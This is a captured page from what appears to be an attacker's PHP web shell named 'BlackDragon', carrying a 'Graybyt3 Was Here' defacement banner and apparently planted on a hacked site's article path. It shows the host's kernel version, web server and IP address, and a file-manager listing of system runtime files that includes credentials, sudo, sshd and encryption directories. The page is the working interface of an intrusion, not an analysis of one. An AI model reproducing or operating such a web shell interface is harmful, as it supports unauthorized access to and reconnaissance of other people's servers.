Graybyt3 Was Here

 Linux iad1-shared-d12-03 6.18.39-grsec-noble+ #4 SMP Thu Jul 23 07:53:29 UTC 2026 x86_64
 Apache
 208.97.147.38


*ReClick For Close
File : BlackDragon /articles/displacement/index.php
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0755 2026-10-21 03:25:51
.. dir - root/root 0755 2026-08-06 02:31:33
apache2 dir - root/root 0755 2026-10-21 03:17:20
blkid dir - root/root 0755 2026-08-06 06:15:02
console-setup dir - root/root 0755 2026-08-06 05:26:09
credentials dir - root/root 0755 2026-10-21 05:40:33
cryptsetup dir - root/root 0700 2026-08-06 05:26:10
dbus dir - root/root 0755 2026-08-06 05:26:11
fail2ban dir - root/root 0755 2026-08-06 05:26:10
initramfs dir - root/root 0755 2026-08-06 05:25:56
lock dir - root/root 1777 2026-10-21 03:46:32
log dir - root/root 0755 2026-08-06 05:25:57
lvm dir - root/root 0700 2026-08-06 05:26:02
mdadm dir - root/root 0755 2026-08-06 05:26:05
mount dir - root/root 0755 2026-08-06 05:26:00
network dir - root/root 0755 2026-10-21 02:01:07
plymouth dir - root/root 0755 2026-08-06 05:28:10
rpc_pipefs dir - root/root 0555 2026-08-06 05:26:11
rpcbind dir - _rpc/root 0755 2026-08-06 05:26:10
rspamd dir - _rspamd/_rspamd 0755 2026-09-11 09:12:19
screen dir - root/utmp 1777 2026-08-06 05:26:10
sendsigs.omit.d dir - root/root 0755 2026-08-06 05:26:10
setrans dir - root/root 0755 2026-08-06 05:26:10
shm link - root/root 1777 2026-10-21 03:17:20
sshd dir - root/root 0755 2026-09-10 08:50:25
stunnel4 dir - stunnel4/stunnel4 0755 2026-08-06 05:28:06
sudo dir - root/root 0711 2026-08-06 06:58:43
systemd dir - root/root 0755 2026-10-21 03:16:51
tmpfiles.d dir - root/root 0755 2026-08-06 05:26:02
ubuntu-advantage dir - root/root 0755 2026-08-08 08:22:39
udev dir - root/root 0755 2026-10-19 01:39:21
user dir - root/root 0755 2026-10-21 03:30:42
uuidd dir - root/root 0755 2026-08-06 05:26:11
worf-agent dir - root/root 0755 2026-08-15 05:22:26
adduser application/x-empty 0 B root/root 0644 2026-08-06 06:18:46
agetty.reload 0 B root/root 0600 2026-08-06 05:28:15
apache2-able-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:47:56
apache2-adamant-httpd.pid text/plain 8 B root/root 0644 2026-10-21 02:47:50
apache2-argon-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:00
apache2-beer-httpd.pid text/plain 8 B root/root 0644 2026-10-21 02:47:53
apache2-blow-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:02
apache2-bongo-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:47:55
apache2-cabo-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:12
apache2-carpet-httpd.pid text/plain 8 B root/root 0644 2026-10-21 02:48:06
apache2-cid-httpd.pid text/plain 7 B root/root 0644 2026-10-21 02:48:04
apache2-daisy-httpd.pid text/plain 8 B root/root 0644 2026-10-21 02:47:53
apache2-dap-httpd.pid text/plain 8 B root/root 0644 2026-10-21 02:54:21
apache2-downer-httpd.pid text/plain 7 B root/root 0644 2026-10-21 02:48:01
apache2-echo-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:47:58
apache2-emu-httpd.pid text/plain 7 B root/root 0644 2026-10-21 02:47:58
apache2-fritz-httpd.pid text/plain 7 B root/root 0644 2026-10-21 02:47:59
apache2-fungi-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:00
apache2-goo-httpd.pid text/plain 8 B root/root 0644 2026-10-21 02:47:59
apache2-grog-httpd.pid text/plain 7 B root/root 0644 2026-10-21 02:48:08
apache2-heavy-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:12
apache2-hok-httpd.pid text/plain 7 B root/root 0644 2026-10-21 02:47:59
apache2-ichiban-httpd.pid text/plain 8 B root/root 0644 2026-10-21 02:48:13
apache2-igloo-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:47:59
apache2-jiffy-httpd.pid text/plain 7 B root/root 0644 2026-10-21 02:48:03
apache2-jolly-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:10
apache2-kant-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:06
apache2-kip-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:05
apache2-linus-httpd.pid text/plain 8 B root/root 0644 2026-10-21 02:48:18
apache2-lip-httpd.pid text/plain 8 B root/root 0644 2026-10-21 02:48:09
apache2-moon-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:04
apache2-mop-httpd.pid text/plain 8 B root/root 0644 2026-10-21 02:48:03
apache2-nads-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:56:55
apache2-noxim-httpd.pid text/plain 7 B root/root 0644 2026-10-21 02:48:09
apache2-ogle-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:07
apache2-olive-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:03
apache2-pat-httpd.pid text/plain 8 B root/root 0644 2026-10-21 02:48:16
apache2-prance-httpd.pid text/plain 7 B root/root 0644 2026-10-21 02:48:07
apache2-quack-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:16
apache2-quell-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:18
apache2-rank-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:11
apache2-reel-httpd.pid text/plain 8 B root/root 0644 2026-10-21 02:48:08
apache2-sith-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:05
apache2-snort-httpd.pid text/plain 8 B root/root 0644 2026-10-21 02:48:10
apache2-twang-httpd.pid text/plain 7 B root/root 0644 2026-10-21 02:48:09
apache2-twiddle-httpd.pid text/plain 7 B root/root 0644 2026-10-21 02:48:09
apache2-udder-httpd.pid text/plain 8 B root/root 0644 2026-10-21 03:17:20
apache2-ugly-httpd.pid text/plain 8 B root/root 0644 2026-10-21 02:48:10
apache2-vat-httpd.pid text/plain 7 B root/root 0644 2026-10-21 02:48:13
apache2-very-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:10
apache2-whippit-httpd.pid text/plain 7 B root/root 0644 2026-10-21 02:48:09
apache2-wok-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:13
apache2-xenon-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:09
apache2-xlax-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:18
apache2-yak-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:07
apache2-yohimbe-httpd.pid text/plain 6 B root/root 0644 2026-10-21 02:48:13
apache2-zed-httpd.pid text/plain 7 B root/root 0644 2026-10-21 02:56:54
apache2-zoo-httpd.pid text/plain 8 B root/root 0644 2026-10-21 02:48:06
atd.pid text/plain 6 B root/root 0644 2026-08-06 05:28:06
auditd.pid text/plain 8 B root/root 0644 2026-08-23 06:08:22
crond.pid text/plain 8 B root/root 0644 2026-10-21 03:12:33
crond.reboot 0 B root/root 0000 2026-08-06 05:28:13
mpt-statusd.pid text/plain 6 B root/root 0644 2026-08-06 05:28:07
mpt-statusd.status application/x-empty 0 B root/root 0644 2026-10-21 01:35:51
ntpd.pid text/plain 6 B root/root 0644 2026-08-06 06:23:37
procwatch.pid 8 B root/root 0600 2026-10-21 03:07:42
proftpd.delay application/octet-stream 12.31 KB root/root 0644 2026-10-21 02:52:12
proftpd.pid text/plain 8 B root/root 0644 2026-10-21 02:52:12
proftpd.scoreboard application/octet-stream 7.34 KB root/root 0644 2026-10-21 03:31:08
proftpd.scoreboard.lck application/x-empty 0 B root/root 0644 2026-10-21 02:52:12
reboot-required text/plain 32 B root/root 0644 2026-08-06 06:15:14
reboot-required.pkgs text/plain 44 B root/root 0644 2026-08-06 06:15:14
rpcbind.lock application/x-empty 0 B root/root 0444 2026-08-06 05:26:11
sm-notify.pid 6 B root/root 0600 2026-08-06 05:28:06
sshd.pid text/plain 7 B root/root 0644 2026-09-10 08:50:25
ufw.lock application/x-empty 0 B root/root 0644 2026-09-10 08:50:15
unattended-upgrades.lock 0 B root/root 0640 2026-08-07 12:12:02
utmp application/octet-stream 6.38 KB root/utmp 0664 2026-10-21 03:24:45
© BlackDragon